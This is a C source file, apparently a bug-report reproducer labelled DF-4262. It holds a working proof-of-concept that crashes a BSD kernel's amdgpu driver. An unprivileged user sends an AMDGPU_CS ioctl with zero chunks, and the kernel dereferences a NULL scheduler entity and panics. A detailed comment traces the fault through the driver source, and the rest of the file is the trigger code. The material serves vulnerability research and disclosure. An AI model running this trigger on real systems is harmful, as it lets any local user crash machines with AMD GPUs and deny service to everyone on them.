DF-4262 / cs_zero_chunks.c
/* * DF-4262 โ amdgpu CS ioctl with num_chunks == 0 * =============================================== * Bug: amdgpu_cs_parser_init() (sys/dev/drm/amd/amdgpu/amdgpu_cs.c:114-115) * returns EARLY SUCCESS when cs->in.num_chunks == 0, before * amdgpu_ctx_get(), before amdgpu_job_alloc() (which would have rejected * num_ibs==0 โ amdgpu_job.c:55-56), and without touching p->chunks. * The parser was zero-initialized by the ioctl handler * (amdgpu_cs.c:1280: `struct amdgpu_cs_parser parser = {};`), so * p->job == NULL and p->entity == NULL. * * amdgpu_cs_ioctl() then calls amdgpu_cs_ib_fill() (amdgpu_cs.c:1296). * The fill loop (amdgpu_cs.c:991) is skipped (`i < parser->nchunks` * is 0<0), and the very next statement (amdgpu_cs.c:1048): * * ring = to_amdgpu_ring(parser->entity->rq->sched); * * dereferences parser->entity == NULL. rq is the second member of * struct drm_sched_entity (offset 16 โ sys/dev/drm/include/drm/ * gpu_scheduler.h:81), so the kernel faults reading address 0x10 in * kernel mode: fatal trap 12, panic. Unprivileged: AMDGPU_CS is * DRM_AUTH|DRM_RENDER_ALLOW (amdgpu_kms.c:1206). * * This trigger is self-contained (guest /usr/include has no drm headers). * * Expected on amdgpu hardware: instant kernel panic on the ioctl. * On this QEMU guest: no AMD GPU exists, so /dev/dri render nodes are * absent and the open() fails โ runtime reproduction is HW-gated. */ #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/ioccom.h> #include <errno.h> #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 /* union drm_amdgpu_cs (24 bytes) โ sys/dev/drm/include/uapi/drm/amdgpu_drm.h */ struct drm_amdgpu_cs_in_ { unsigned int ctx_id; unsigned int bo_list_handle; unsigned int num_chunks; unsigned int _pad; unsigned long long chunks; /* __u64 * to chunk headers */ }; union drm_amdgpu_cs_ { struct drm_amdgpu_cs_in_ in; struct { unsigned long long handle; unsigned long long status; } out; }; #define IOCTL_AMDGPU_CS \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x04, union drm_amdgpu_cs_) int main(void) { const char *paths[] = { "/dev/dri/renderD128", "/dev/dri/renderD129", "/dev/dri/card0", NULL }; union drm_amdgpu_cs_ cs; int fd = -1, i; for (i = 0; paths[i]; i++) { fd = open(paths[i], O_RDWR); if (fd >= 0) break; } if (fd < 0) { fprintf(stderr, "DF-4262: no DRI device node available (errno=%d/%s).\n" "On a system with amdgpu hardware this ioctl panics the " "kernel:\n amdgpu_cs.c:114 num_chunks==0 -> early success; " "amdgpu_cs.c:1048 parser->entity==NULL -> load from 0x10\n", errno, strerror(errno)); return (1); } memset(&cs, 0, sizeof(cs)); cs.in.num_chunks = 0; /* THE BUG: early "success" in parser init */ /* NOT REACHED-AND-RETURNED on vulnerable hw: panics inside ioctl */ if (ioctl(fd, IOCTL_AMDGPU_CS, &cs) < 0) perror("DF-4262: CS ioctl returned an error"); else printf("DF-4262: CS ioctl returned, out.handle=%llu " "(unexpected on a vulnerable kernel)\n", cs.out.handle); return (0); } |